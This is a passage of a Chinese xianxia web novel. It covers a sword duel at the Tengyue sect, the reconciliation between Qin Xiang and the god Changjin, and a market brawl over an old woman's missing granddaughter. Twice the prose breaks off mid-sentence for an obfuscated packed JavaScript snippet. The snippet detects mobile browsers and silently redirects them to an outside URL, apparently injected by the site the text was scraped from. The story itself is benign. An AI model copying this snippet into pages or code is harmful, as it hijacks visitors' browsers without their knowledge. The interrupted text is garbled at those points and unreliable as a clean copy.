台上打得火热,台下一众腾岳之巅的弟子也不甘示弱,爆发出了震耳欲聋的欢呼声,左边吼着“周师兄”,右边吼着“秦师姐”,谁也不让谁。 秦湘与周楚闵在这刹时之间已经“乒乒乓乓”地交手过了十几招,两人都是善攻伐的打法,并不防御,一招一式之间都是直接较量,又狠又猛,看得台下众人直呼过瘾,热血澎湃。 秦湘身形灵巧,她一个侧身闪躲过周楚闵直劈下来的剑,然后瞄准时机,回身攻上。剑刃直驱周楚闵的面门,周楚闵心中一震,连忙回剑格挡。秦湘嘴角勾出一笑,剑气磅礴,攻势迅猛,周楚闵防备不及,被她压着后退好几步。 周楚闵笑道:“阿湘你一点都不手下留情,要是给我毁了容,我还怎么去见清桐。” 秦湘愣了一愣,旋即也笑了:“师兄你这说的哪里话,我怎么会伤了你。” 话音落,周楚闵嘴角一笑,便一使力,弹开了秦湘,秦湘被他吓了一跳,足尖点地后退,周楚闵也提剑跟着上前,抬手就朝着秦湘刺去。 秦湘退无可退,心一横,一个下腰堪堪躲过周楚闵刺来的剑,然后起身略侧迎上前去,抓住周楚闵手臂,借着他的力道,一个后空翻破解了此时的困境,稳稳地落到了演武场的中央。 周楚闵转身回头,就瞧见了秦湘一脸幽怨地看向他,“师兄,你才是手下不留情,要吓死我罢,我的小心脏都被你吓得扑通扑通跳个不停。” 周楚闵战得酣畅,哈哈大笑两声,“再来。” 17.破冰升温 剑刃带起的锋芒近在眼前,秦湘目光微动,喝道:“好!”便迎上前去。 两人又是好一阵纠缠,剑刃相碰,铮鸣之声不断,见招拆招,胶着难分,上下难辨。 底下的弟子们看得膛目结舌,议论纷纷:“天,周师兄和秦师姐也太厉害了吧!” “是啊,都过了百余招了吧,还没分出胜负。” “到底是周师兄占上风还是秦师姐占上风啊?我已经分不清了。” “啊啊啊,我也是,我也是。完全分不清。” 台上,秦湘呼吸沉重,额间热汗涔涔,顺着脸颊滴落,而身旁的周楚闵也没有好到哪里去,亦是大汗淋漓,眸中闪着光亮,“阿湘,几年不曾与你交过手,你还真是让我惊喜啊。” “师兄才是,之前都不曾见过师兄的真正实力,今日一见,我才是该惊喜的那个。”说罢,弹开周楚闵。然后步步紧逼,姿态飒爽,剑刃朝着周楚闵脖颈前扫去。 而廊庑之下,长锦站在阴影里,他的目光追随着青石台上的身影而去,阳光笼罩在她身上。在这一刻,她仿佛便是那人群之中最耀眼的存在,绚烂明媚,夺人眼目。 愣怔之间,有人认出了他的身影,也顾不上什么恭敬僭越,当场便激动地叫出了声:“席清长老!是席清长老!!” 而这一嗓子,也将周围人的目光吸引了过来,席清长老是何许人,出现在校演场,这是多么稀奇的事情!一时间,台下其他弟子们的目光也纷纷被吸引了过去,“席清长老!真的是席清长老!席清长老竟然会来校演场!!” 熙熙攘攘的讨论声传到了演武台上,周楚闵没听清,一时愣怔。谁?这么大阵仗?他侧目往旁边看了一眼。廊庑下,长锦一袭白锦青衣,长发未束,仅用一条蓝色发带绑着发尾,自然随意,却无端清贵秀雅,如清风明月。 哦,席清长老。周楚闵心下明了,怪不得能吸引众人的目光。 “好机会。”秦湘看准了周楚闵这一下的分心,当即蓄力一击,弹开周楚闵横在她剑上的长剑,然后反手一击落下。 周楚闵心中暗道不好,举剑就要去挡。秦湘朝他狡黠一笑,瞬息之间,剑势攻击换转了方向,朝着他右边攻下,周楚闵再要调转长剑来进行格挡也已经来不及了,长剑铮然嗡鸣一声,旋即脱手,被重重地击飞,掉落在地上。 再一抬头,秦湘的剑刃抵在他的喉结之处,再进半分,就能直取他的咽喉。 台下静默几许,旋即炸开了一阵热烈的欢呼声,“秦湘!!”“秦湘!!”“秦湘!!” 秦湘收了剑,一双杏眼里盛满光亮,她朝周楚闵抱拳笑道:“师兄,承让啦。” 虽然是因为周楚闵分心才得以这么快结束比试的,但战场上,没有承让这一说法,兵不厌诈,你的一分心,就是别人的一个机会。他输得服气,也笑道:“是我输了,阿湘不必谦逊。” 秦湘走了过去,朝他肩膀上拍了一拍,“不过师兄,你方才可分心了,比试的时候要专注,下次我们再来比过吧。” “嗯,行。”说起这个,周楚闵才是奇怪,从小和秦湘一块长大,她是什么样的人他门儿清,长锦在她心中那就是信仰般的存在。可是方才长锦出现的时候,那么大动静,分心的竟是他,而秦湘却丝毫没有分心,半分没有动摇,甚至都没有往那边去瞧上一眼! 想到这,他还是没忍住,朝着面前人问道:“阿湘,你可知,刚刚引起那么大动静的人是谁?” “我知道啊,”秦湘想也不想便回答了他,目光越过他,看向了廊庑之下站着的人。而恰巧,长锦的视线也一直落在她身上,于是两道视线在空中相撞。 秦湘一愣,旋即笑了,她收回目光,又看了周楚闵一眼,“是长锦神君,他刚来我就知道了,比他们都要发现的早。” 周楚闵惊讶地睁大了眼睛:“他什么时候来的?!那你怎么一点都不兴奋?!你这冷静地我都要开始怀疑席清长老还是不是你最仰慕的人了。” “我们比试之前他就来了,”秦湘笑了笑,“我怎么可能不兴奋,就是因为兴奋我才会赢你,因为在神君面前不能输,我必须展现我最好最厉害的一面,不然要是输了岂不在神君面前丢脸?”顿了顿,她又道,“不过我最多只想过与师兄你打个平手,只是没想到师兄你竟然分心去看热闹,白白让我赢了一回,哈哈哈哈……” “……”丢脸的周楚闵已经石化在了原地,秦湘将手中的剑塞进他手中,又拍了两下,笑道,“好了,师兄,我要去找长锦神君了,这剑就劳烦你帮我收一下啦,万分感谢,回见!” 说完,也不等周楚闵反应,就一溜烟地跑了,待他反应过来之时,面前哪里还有秦湘的影子。 秦湘下了演武台,一路小跑来到长锦面前,她欢欢喜喜地唤了他一声:“长锦神君。” “嗯,”长锦一愣,心跳漏了一拍,神情也有瞬息地不自在。明明他一开始确实是想见秦湘所以才来的,可如今,人在他面前了,他却半晌不知道该讲什么。于是他怔怔地看着秦湘,良久,从袖襟之中掏出了一块锦帕,是前几天在渡天殿中秦湘给他的那块,他也跟那时的秦湘一样,将锦帕递过去,声音带着一丝不自然,“擦擦汗吧。” “嗯?”秦湘讶然,伸手接了,抹去脸上的汗水,才道,“神君你怎会来这?” “我……”长锦顿了顿,不知该如何开口。 秦湘望着他,也不催促,就静静地等着他说,两人就这么四目相对地望了许久,长锦才抿了抿嘴唇,生硬地说道:“你,很久没来过西院了,我……” “你?” 长锦踟蹰片刻,又过了好一会儿,叹了一口气,紧蹙的眉蓦地松开,道:“我……我那天不是故意要吼你的,也不是故意要朝你出手的,对不起,秦湘。” 秦湘一愣,她没想过长锦来这竟然只是为了来找她道歉,连忙摆手道:“我知道你不是故意的,说起那天我也有错,是我没有反应过来,还在那种情况之下擅自碰了你,对不住,神君。” “不会,还要谢谢你,是你叫醒了我……”把我从深渊之中拉了出来。 两人就站着这么一顿互相道歉,说完这句话之后,又是一会儿的相对无言,长锦不知道要说什么,就站在那一动不动地盯着秦湘看。 秦湘被他这笔直的视线一顿猛盯,也有些不自然地败下阵来。她挪开眼,挠挠头,四下望了望,头脑风暴,希望在这一瞬之间可以找到个什么打破尴尬局面的焦点。 廊檐下的微风穿堂而过,吹起了秦湘腰间系着的锦囊袋,穗子在她手心挠得发痒,秦湘低头一瞧,像是想起了什么似的。 她“噢”了一声,“差点忘了,”一边说着,一边将锦袋解下,从中摸出两个小瓶罐,递给长锦,“这是我找鸿瑛长老配的安神丸,神君你晚上睡前吃两粒,就不会做噩梦了。” 然后又摸出一把饴糖递了过去,“这个是含服的,不能一口吞,我尝过了,有些苦口,所以这个也给你,吃完安神丸,再吃一颗饴糖,就不苦了。” “……”长锦没动,怔怔地站在原地,任凭她将他的双手捧起,他看着手中满满当当的东西,有些滑稽,也有些无奈。 秦湘抬头看了他一眼,看着他两只手被她塞得满当当的,也是哭笑不得,一拍脑子,“瞧我这脑筋,还要拿出来一样一样给你,直接把整个袋子给你就好了嘛,”说罢,又将长锦手中的东西一样一样全部收回锦袋之中,然后才将锦袋递了过去,“神君,给你。” 长锦低头看着她手上的锦袋,不知在想什么,顿了半晌,才伸手接过,“谢谢。” 秦湘打着哈哈,“不用不用,不用谢啦。” 两人又站了一会,秦湘想起那天的长锦,又想起了那天晚上的长锦,心中疑惑,亦是担忧,于是她看向他,开口道:“神君……” “嗯?” “那天晚上,在渡天殿中,你突然难受,回到西院之中,你又发生了什么?为什么第二天的你会是那副模样?可是哪里受了伤?还是之前封印厄运之门神力受损严重未曾复原?” 听到她提起那天,长锦忽然心绪上涌,他对上了秦湘的眼睛,似乎想从她眼中看见那丝他觉得应该要有的试探和讥讽,可是他看了良久,她的眼睛干干净净,明明白白,无半分遮掩,只有担忧的情绪盛在里头。 秦湘等了许久,也未曾听见长锦回答,她心中一顿,恐言自己失了分寸。那副模样,长锦定是不想让人瞧见的,从人成神,看似辉煌一生,可能力越大,责任越大,魔主和那些妖魔并不好对付,想来他这一路,也定是困难重重,铺满鲜血和荆棘的。 想到这,又想起了那天长锦的模样,秦湘心中也无端升起了一股酸意。她鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779993|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头一酸,赶在长锦开口之前就已先低头,“对不住,神君,是我言错,我只是担心你,并无其他意思,让你为难了,你可以不用回答我。” 长锦没有说话,他闭了闭眼睛,复而又睁开,“没关系,那是我的问题,只是我现在还不知道该怎么和你说……” “那就不用说了,”秦湘道,“我都明白,神君,你不用勉强自己,谁都有自己的秘密,如果你要是不想说,就不用说,如果你哪天要是想说了,想找个人听你说话,你就找我,我就听你说,只要我在,我就会一直站在你身边,无条件信任你。” 长锦心头一颤,他复杂地望向她,喃喃道:“为什么?你就这么信任我?” “因为在我心里,神君一直是那个神君,不管你经历过什么,我坚信我看见的你,就是我听过的那个你。” 心如擂鼓,长锦此时真的不知道用何种心态何种情绪来面对秦湘了,他低头,看了看手中的锦袋,又复而看了看秦湘,半晌,才涩然嗫嚅道:“谢谢你。” 秦湘不知道他为什么要说谢谢,这一上午,她已经听长锦说过三个谢谢了,所以她也没多想,既然长锦说谢谢,那她就说不用谢。于是就也摆了摆手笑了笑,直接道,“不用谢。” “秦湘。”他唤她。 “嗯?”秦湘点头。 长锦目光悠长,看向远方,“以后,如果我想说了,你还想知道的话,那我会讲给你听。” 秦湘一愣,旋即反应过来,莞尔一笑,“好,那我等你以后讲给我听。” 这一插曲过后,秦湘与长锦的关系也不知从何时起就增进了不少。秦湘是个直性子,很容易和人打交道,和长锦破冰了之后,她心中欢喜,本来就仰慕长锦,如今和他关系渐好,渡过了尴尬陌生期,当然更要把握好机会,在偶像面前好好表现表现。 于是从那日之后,她日日得空便往西院跑。 而长锦呢,面对着秦湘的热情,一开始面上还有些不习惯与不自然,可次数一多,他那些故作自持的平淡与寡凉在秦湘面前总是破碎得连渣都不剩。他心中暗叹一口气,算了,随它去吧,也许他心底里深处还是懦弱的,希望有人陪他,所以,那就顺其自然吧。 这一日,长锦正坐在案几前喝茶,一杯茶还未喝完,西院的门扉就被人用力推开。下一秒,秦湘就端着一大沓《修仙界六大门派简介》的有关书卷出现在了门口。 书卷摞得很高,遮住了她的视线,此时正是歪歪扭扭,一副摇摇欲坠的模样。秦湘心惊,连忙叫道:“神君,你在吗?快来搭把手,要倒了要倒了……啊!!”话音未落,那沓书籍就再也支撑不住了,噼里啪啦地便倒了满地。 秦湘:“……” 长锦:“……” 四目相对,几许静默。秦湘摸了摸鼻子,朝他嘿嘿一笑。长锦看了她一眼,不紧不慢地将手中的半杯茶喝完,才起身道:“你拿不了为何还要一次性搬这么多过来,分两次拿不就好了吗?” 秦湘蹲下身捡书,辩解道,“这是意外,我能拿,你看,我这不是拿过来了嘛。” “你能拿?”长锦用眼神指了指地上的那堆书,“那这散落了一地的是什么?” “嘿嘿,”秦湘理不直气也壮地说道,“是书。” “……” 两人蹲下将散落一地的书一本一本拾起,摆放在桌上。这是秦湘最近天天来西院找的借口,给长锦送书,然后再以长锦就算看着书也不知道修仙界谁是谁,必须要有个人来为他讲解为由,然后……就理所当然地赖在西院了。 房间里,秦湘坐在长锦对面,两人面前都摆放着一本书卷。长锦懒洋洋地,目光垂落在桌面的卷轴上,而秦湘呢,装模作样地拿起一本书,清清嗓子,朝着对面的长锦挥挥手:“神君,坐好坐好,腾岳之巅第一大聪明,秦湘课堂开课了,你且听我慢慢讲来……” “……”长锦抬头看了她一阵子,半天没听见她的下文,“你怎么不讲了?” 秦湘皱着眉头认真地思索了一番,最终无果。于是她挠了挠头发,有些尴尬地看向长锦,“我上回讲到哪里来着?” “双灵阁,药宗。”长锦提醒道。 “哦哦,”秦湘点点头,将书卷翻了两页,“想起来了,上回才刚开了个头,既然如此,那我们今天就继续再讲修仙界六大门派的简介吧。” 18.初出茅庐 秦湘一手捏着书卷,一手握拳放在嘴边轻咳一声,摇头晃脑地便开始了她的表演。如果手中再捏一块醒木或者一把折扇,活脱脱的就是茶楼雅间中坐着的说书先生的模样。 “众所周知啊,咱们修仙界,一开始并没有六大门派之说,仙门百家各自为营,直到最近的几百年之间,动乱不断,其中几大门派从中脱颖而出,再在一番各方面评审之下,成为了修仙界之中的前首。至此,以清虚门为首,其他五大门派分别为腾岳之巅,千机阁,双灵阁,飞羽门,云雾宗……” “前些天我们已经讲过几个了,那今儿我们就来讲一讲剩下的两个,清虚门和千机阁,”秦湘眯了眯眼睛,看了眼手中的书,顿了一顿,照着书念,“千机阁,掌门萧时闻,此门派在结界与各种阵法之术上颇有造诣,除此之外,好像没什么好讲的,所以我们就来说说清虚门吧,清虚门,门下弟子多善剑,属于攻伐系,掌门齐怀仁,实力惊人,其中最有名的就是他手中的那把玄冰剑,群英论剑大会就是由清虚门最先主持的,第一任的魁首,就是齐怀仁门下首席弟子江暮行……” 阳光柔柔,春意催人眠。长锦一边听着她念,一边掀起眼皮,打了个浅浅的哈欠。 然而一个哈欠还没打完,就听见对面传来一声哀嚎,他不明所以,循声望去,秦湘也正瞧了他一眼,将书卷放在案牍上,眼神幽怨,语气嗔怪,“神君你都没有在听我说话,我一个人唱独角戏,好没意思的。” 长锦愣了一下,抬起眼睛,认真道:“我在听。” “你明明没有,”秦湘小声嘀咕,“你都快睡着了。” “我真的没有,你讲的所有话,我都听见了。” “真的?那我考考你,飞羽门的掌门是谁?” 长锦想也没想,回答道:“林听晚。” “嗯嗯,勉强算你过关了吧,”秦湘也没打算真的生他气,自然给台阶就下,于是又拿起了书卷,继续道,“不过这里要纠正一下,我也是昨天才从师父那里得知,飞羽门已经换掌门了,林听晚掌门已经仙去了,现在的掌门是她的妹妹,林秋月。” 长锦顿了顿,翻着面前的书卷,书卷前几页记载的正是飞羽门纪要,他看了两眼,问道:“飞羽门掌门不是才三十又一?怎就仙去了?” “这个嘛,我也不是特别清楚这件事,”秦湘想了想,“林掌门仙去之时,我还在烈焰火域里闭关呢,据说好像是飞羽门内部不和,飞羽门的前前任掌门膝下有五个孩子,林听晚是老大,还是唯一的嫡亲,功力修为也是最好的,所以老掌门逝世之后,掌门之位自然就是传给了林听晚。不过她其他的几个弟弟就不服了,认为女子如何掌权,所以这么多年以来,飞羽门的门派斗争也就不断,虽然飞羽门放出的对外消息是林掌门修炼心法走火入魔而亡,但真相是怎样,谁又知道呢。” “女子为何不能掌权,世间又并不只是男人的天下,”听到这,长锦不知想到了什么,神色渐渐冷淡下来,眉头紧蹙,声音也凉,“能者胜之,他们没有这个实力,所以用道德绑架女子,不过是一群空有大话毫无实力的懦夫。” 秦湘见他不悦,跟着嗯嗯两声之后,连忙岔开话题,“对,神君,你说得对,不过这也是他们自己内部的事情,我们再怎样,也不好插手多说什么,好了好了,我们不说他们了,越说越不高兴,来来来,我继续给你讲没讲完的,清虚门事迹。” 秦湘这一说就是直接说去了一个时辰,对着宗卷,将什么清虚门啊,云雾宗啊里里外外她所知道的都讲了一遍,长锦前期还算坐得板正神清气爽,到后期,已经是单手撑头头脑发昏。 又一个时辰过去了,秦湘才松了一口气,合起书卷,“好了,讲完了,神君你可记住了?” 长锦:“……”此时此刻,他想回厄运之门内沉睡。 “神君,你在听吗?神君?”秦湘双手支撑着桌面,脸凑过去,看着面前面色略微有些疲惫的长锦温声道。 “在,我在听。”四个字,回答地也算是极其艰难生硬。 看着长锦支着额头揉着眉心,秦湘也没忍住,噗嗤一声笑出声来,“好了好了,不逗你了,神君辛苦了,辛苦了今日,明日就解放了,我就不来给你讲解这些东西了。” “嗯?”闻言,长锦抬眼,“明日你要去哪?” 秦湘摇摇头,“不是我,是我们。” 自从三年之前花溪镇一战长锦来到腾岳之巅后,至此为止,还未曾下过山一回,所以甫一听得秦湘说起,他也有些没反应过来,“我们?去哪里?” “玉溪城,一个委派任务,今早上爹爹给我的,是当地一个程姓员外所委托,为他中邪的儿子除邪之事。”秦湘一边说着,一边从书卷下拿出那封被压着的委任书递给长锦。 “爹爹说,自从厄运之门的封印洞开后,这几年修仙界各地总是乱象频发,频频生出了妖邪鬼怪杀人案件,我总是觉得有些不大对,”秦湘道,“我记得神君你说过厄运之门用恶念和邪念献祭,可以打开,魔主的力量来源又是天下邪念与恶念,这种乱象丛生,最容易滋养出的就是邪气。” 长锦打开委任函书看了两眼,沉吟片刻,道:“厄运之门只要关上了,就不会再造成影响。” “我也是这么想的,但一下子频发这么多妖邪事件,本就是不正常的,不是厄运之门的影响,我觉得这也许是那个幕后之人开始在暗中动手了,他想收集邪气,再次开启厄运之门,或者解封被封在妖魔镜中的魔主?” 听闻秦湘的分析,长锦想了想,道:“你说的有理,所以你想让我和你一起去,就是去查看这妖邪事件之中是否有那人的手笔。” “对,”秦湘点点头,“我们感知不到魔气,所以还需要神君一同前往查探。而且神君你日日呆在腾岳之巅也无聊啊,都入世了,就算那妖邪事件和那幕后之人没关系,就当出去走走玩玩散散心也好。” 长锦没拒绝,就算秦湘不说,他也会去的,已经过去三年了,毕竟他的主要任务还是找寻魔主,既然有点线索出现,无论有没有关系,他也应当前往查探一番才行。 于是就这么决定了,第二日,秦湘早早地便将行装收拾了一番,来到西院,邀了长锦,两个人前往玉溪城。 玉溪城距离腾岳之巅不远,同属巴陵,相邻洞庭湖畔,是个盛产鱼米莲藕鲜花的城镇,正值春日,于是两人选择乘船而行,一路青山绿水相伴,乐得悠闲自在。 一个时辰之后,船到达了玉溪城城郊码头。秦湘头顶着一块碧绿的荷叶先行下了船,眯着眼睛惬意地伸了个懒腰,才转身喊道:“神君,出来吧,玉溪城到了。” 长锦起身,弯腰走出小客船,朝着船头撑浆的老翁点头道了声谢后,才走上岸边。 他们出门的早,玉溪城素来有赶早集的习惯。此时正是赶巧,码头边上挤满了各种各样的小摊,也有许多推着独轮木推车的货郎货娘沿岸叫卖,放眼望去,琳琅满目,热闹非凡。 两人一齐上了岸,并肩而行,边走边聊,看着熙熙攘攘的人群,秦湘道:“神君,这里人多,你跟紧我,不要走散了。” 长锦一个好字还未曾说出口,就见秦湘两眼放光,语调变软,一连好几声“啊啊啊啊啊”,朝着某处径直走去。 看着她的背影,长锦顿了顿,无奈地摇摇头,叹了口气,抬脚跟上。 秦湘蹲在一个卖荷花的老奶奶面前,肩膀微颤,隔得远了,长锦瞧不真切她在干嘛,一走近了,才发现秦湘面前的是只白色的小奶狗。 而她就是被这小家伙吸引了过去。 秦湘嘴角上扬,眼睛弯弯,双手不住地朝着那小家伙摸去,一下摸摸它的头,一下捏捏它的小肉垫,怎么摸怎么爱不释手,而那小家伙也很配合,躺在老奶奶的背篓旁,乖的不像话。 见长锦站在她身边,秦湘就抱起小狗儿,扬起脸朝他兴奋道:“神君神君,你看,小狗儿!!是不是很可爱?!” 长锦低头看着她,也不知道在想什么,过了好一会儿,才点点头,认真道:“嗯,可爱。” 坐在背篓面前的老奶奶听着两人的话,也是一脸笑意,骄傲道,“可爱吧,是我孙女给我的。” 秦湘心都要被可爱化了,“嗯嗯,它很可爱,我最喜欢小狗儿了。” “我孙女也喜欢这种毛绒绒的小动物,”有人与她搭话,老奶奶也打开了话匣子,与秦湘有一句没一句地说起来,“这狗就是她捡回来的,看小姑娘你年纪和我孙女也差不多大,你俩都喜欢小狗,说不定会很合得来。” “那奶奶你孙女呢?怎么就你一个人在这里卖花呀?” “阿棠啊,她去卖花去了,她说今天下雨,会晚点回家,回来的时候,还会给我带糖花糕哩。”说起她孙女,老奶奶想了一想,再看向秦湘之时,眼中流淌着自豪的光华。 而一听这话,秦湘嘴角的笑容却僵住,她心忽地一提,目光复杂地看了看老人,又看向长锦,而长锦此时也正看向她,看着对方脸上的表情,两人心下都已明了。 此时天气明明风和日丽,坐在这卖花的也明明是面前的老人自己,可她却说今天下雨,孙女去卖花去了? 这其中的缘由不必多说了…… 看着面前的老人,秦湘张张嘴,想说些什么,还未等她再开口,一旁卖花的另外一个妇人闻言便叹道:“芸婶又犯病了,阿棠都不知道失踪多久了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783879|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,唉,可怜了芸婶,这记忆时好时坏的。” “是啊,”另一人点头应合道,然后朝着老人喊了一嗓子,“芸婶儿,阿棠今日还没回来吗?” 听闻有人说起她孙女,老人指指天,回答道:“天色还早呢,阿棠说今日要晚些回来,回来的时候啊,还会给我带糖花糕呢。” 还不等那人回答,忽然有个声音加入了进来,高声嗤道:“行了,芸婶,你清醒点吧,还等着你孙女给你买糖花糕呢,要买早买来了,这么多天了,说不定啊,你孙女早就抛下你啦,跟着哪个野男人跑啦。” 这话一出,身旁立即有人接着捧哏冷笑:“是啊,之前不是看见有个男人经常出入你家吗?你家阿棠和人家郎有情妾有意,说不定啊,早就跟着那公子去过富贵日子去了吧,不要你啦。” 这些话说得极其尖酸刻薄,又恶意满满,四下静了两秒,老人的脸色唰地白了下来,她坐在那,身体发抖。最开始说话的那个妇人走过来扶住老人,皱着眉头面向那几人,声音不悦,“行了,你们少说几句吧,你们又没亲眼看见阿棠跟人走了,上下嘴皮子一碰,就随口乱说这些东西。” 那人不服气:“我们怎么就是乱说了,那男人经常去她家这就是不争的事实,你们也都看见过啊,而且宋允棠失踪之后,那男人也没来过了吧?” “就是,天下哪有这么巧合的事情,宋允棠前脚刚不见,后脚那个男人也跟着不见,这不是私奔是什么?!还不让人说了!!” “对对对,说起来,那天我好像是看见宋允棠跟着一个男人走了,进了一条偏僻小巷,然后就再也没见过她了,这么想来,她还真是,知人知面不知心呐,看着乖乖巧巧,性子挺高傲的一个姑娘,结果却还不是,男人给点蝇头小利,勾勾手指,就做下这种不要脸的事情来。” “是啊,要我说她就是只白眼狼,可怜了芸婶了,啧啧啧啧,当年还要将她捡回去,含辛茹苦地抚养长大,结果呢,啧啧啧……” “就是就是,怪不得她爹娘一开始就不要她把她扔了,就是个天生坏种,偏偏芸婶你还要将她捡回去,当成个宝一样,这下好了吧,钱财精力付出了,到头来,竹篮打水一场空。” 几人你一言我一语,将这种莫须有的事情编排得一句比一句真。在场的几人听得都是面色一冷,秦湘将怀中的狗放下,皱着眉头,捏拳起身,她实在是忍不了了。正欲上前,忽而有个身影比她还快,直接冲了上去,双目猩红,又抓又挠,“你凭什么这么说我家阿棠!不许你这么说我家阿棠!!” 那几个妇人猝不及防地,被她这一顿乱抓,其中一个妇人脸上也很快地见了血。她当即便来了火,将老人一把推倒在地,狠狠地唾了一口,骂道:“呸,老疯子!” 见老人被欺负,本来在背篓旁趴着的白狗也突然站了起来,眼神发狠,龇牙咧嘴,喉中发出一阵低沉的“呜呜”声。然后猛地冲了上去,照着几人就是一顿凶狠地撕咬。 这下好了,本来就混乱的场景更加雪上加霜了。那边加入战局的人,这边冲上去的狗,还有为了护狗又迅速爬起身来冲上前去的老人,更有后来也冲上去拉架的其他几个妇人。 而这场群殴大战,很快就吸引了一大波驻足观看的人。霎时间,人群围聚了上来,将她们团团围住,指指点点,议论纷纷。 秦湘和长锦从来没遇见过这种情况,被人围在中心圈成了焦点,一时也手脚无措。 秦湘看了看面前乌泱泱围得越来越多的人群,又看了看面前的人狗大混战,好一阵瞠目结舌,才向长锦投去尴尬的目光:“神君……” “……”长锦揉了揉眉心,他也没经历过这种场景,也很无奈,看着面前还在又抓头发又挠人的大战,头疼道:“得先把她们分开吧。” “好,”秦湘点点头,“那神君你站在旁边等我一下。” “你可以应付吗?” 秦湘深吸了一口气,硬着头皮道,“我可以,不可以也要可以,因为这场景神君你上去也不合适啊,”秦湘想象了一番长锦站在一圈妇女大战之中左一句住手,右一句你们不要再打了,就不禁好笑,忍住。 她压下嘴角,看着面前霁月清风般的身影,将他拉到一旁角落站定,“好了,你就站在这里等我吧,我去去就回。” 说罢,就冲了上去,挥手甩下一道飓风咒,将面前的混乱战局分开。她半跪在地上,扶起了发丝凌乱,手中还紧紧捏着一只鞋的老人,嗓音温和:“奶奶你没事吧?” 刚刚那风来得蹊跷,老人被她扶起来,一时还有些分不清楚状况,她抬眼,看见面前的人是秦湘之后,态度才软下了几分,“嗯?小姑娘你怎么在这里?我没事。” 19.程府少爷 还不及秦湘回答,闻言,对面一个同样发髻凌乱,满脸抓痕的妇人就先冷声哼道:“她能有什么事,有事的是我们!” 秦湘这才抬头去瞧对面的几人,原来,在刚才的混乱之中,除了最开始推老人的那一掌她们讨到了好处之外。后来,随着另外几名拉架的妇人加入战局,这战况就彻底乱了套了,她们拦下了对面人对老人的所有攻击,却故意放水老人对她们的攻击,俗称拉偏架。 所以,一轮恶战下来,老人除了发丝凌乱了些,身体倒是没受什么伤害,而对面几人就惨了,脖颈手臂抓痕不断,脸上甚至还有混乱之中被拍上的鞋印子。 这场面实在是大快人心,秦湘心道:“该的,谁叫你们嘴欠。” 不过这话她是不能说的,但是有人替她说了出来,秦湘顿时觉得身心愉悦。只见最先拉架的那个妇人朝着她们恶狠狠地啐了一口,“呸!该的,谁叫你们嘴贱,日子过得太无聊了,别人家的事干你何事,抓着人家的事不放,咸吃萝卜瞎操心,一肚子坏水!” 这话一出,周围围着的人就开始朝着她们指指点点,她们面子挂不住,便红着脸粗着脖子恶声恶气地大叫道:“你说谁嘴贱,这本来就是事实,她家阿棠本来就是嫌她老,所以才跟男人跑了的,不然怎么偏生这么巧,她家阿棠一消失,那男人也不来了,这分明就是两个人私……” 话音未落,一只草鞋便精准无误地重重砸在了她的脸上,被秦湘扶住的老人气得全身发抖,一只手还维持着扔鞋的姿势,口中暴喝道:“你再造谣我家阿棠一句,我撕烂你的嘴!!” “老东西,我怕你不成,来啊!!”说罢,又要冲上前去。 眼看一场战争又要爆发,秦湘心中无奈,一手甩下结界将狂扑过来的妇人拦下,一手抱住老人的腰,着急道,“奶奶奶奶,好了好了,冷静,冷静一下。” 被拦下的妇人正在气头上,虽然没看清自己是怎么摔的,但抬头看见秦湘,便将怒气发泄在了她身上,“哪里来的丫头片子,你要拦在这老东西面前吗?滚一边去!再不滚开,我连你一块揍!!” “???”秦湘长这么大,还没有人这么跟她说过话呢,她眨眨眼,一手扶着老人,一手虚虚托起。瞬间,掌心便凭空燃起了一簇火苗,她一脸和善微笑地看着对面人,“你说什么?我没听清,你再说一次我听听?” 一见这火,又见秦湘腰间系着的云纹锦囊,人群之中有眼尖地认出了她来,指着她道,“哎呀,这是腾岳之巅的小仙君吧!” 众人顺着他指的方向看去,看见秦湘,也叫道:“唉,是的是的,巴陵就一个修仙门派,瞧那云纹,不是腾岳之巅的仙君还能是哪里的?” 议论纷纷之中,无疑给那妇人增加了几分心理压力,虽然她未曾亲眼见过那修仙的道士,但是腾岳之巅的名讳她还是听说过的,又瞧见秦湘掌心无端而起的火焰,顿时也是火气散去,心中惊骇,哑然道:“你你你……你是腾岳之巅的道长?” 听她哆嗦的语气,秦湘便心知这是个欺软怕硬的,她看了那边几个妇人一眼,道:“是又怎样,你们不是要连我一块揍吗?来啊,上前来,我就站在这里,让你们十招。” 知道秦湘是个练家子的,那几个妇人哪里还敢再上前来,刚刚放出狂言要揍秦湘的那人此时更是缩颈闭嘴,半天都不敢回应。 见场面得到了控制,秦湘才满意地点点头,放下手来,笑道,“这就对了嘛,大家停下手来,和和气气地多好啊,非得动手,打得头破血流。” “好了,现在我们来好好解决这个问题,你们言之凿凿地宣称这位奶奶的孙女……呃……”秦湘顿了顿,想了想措辞,又继续道,“跟人走了,可是你们中又有谁是亲眼瞧见的?” 闻言,对面几个妇人你瞧瞧我,我瞧瞧你,刚才说得风生水起,编得唯妙唯俏的,如今却是一个字也说不出来,只能嗫嚅半天道:“这……” “没有是吧,既然没有,又怎能瞎编造谣,同为女子,你们都该知道姑娘清誉何其重要,人言可畏,不知事情全貌,就不要给予评判,如果这事发生在你们自己身上,你们家人身上,你们也还能像现在这样神情自若?所以,你们可知错?” 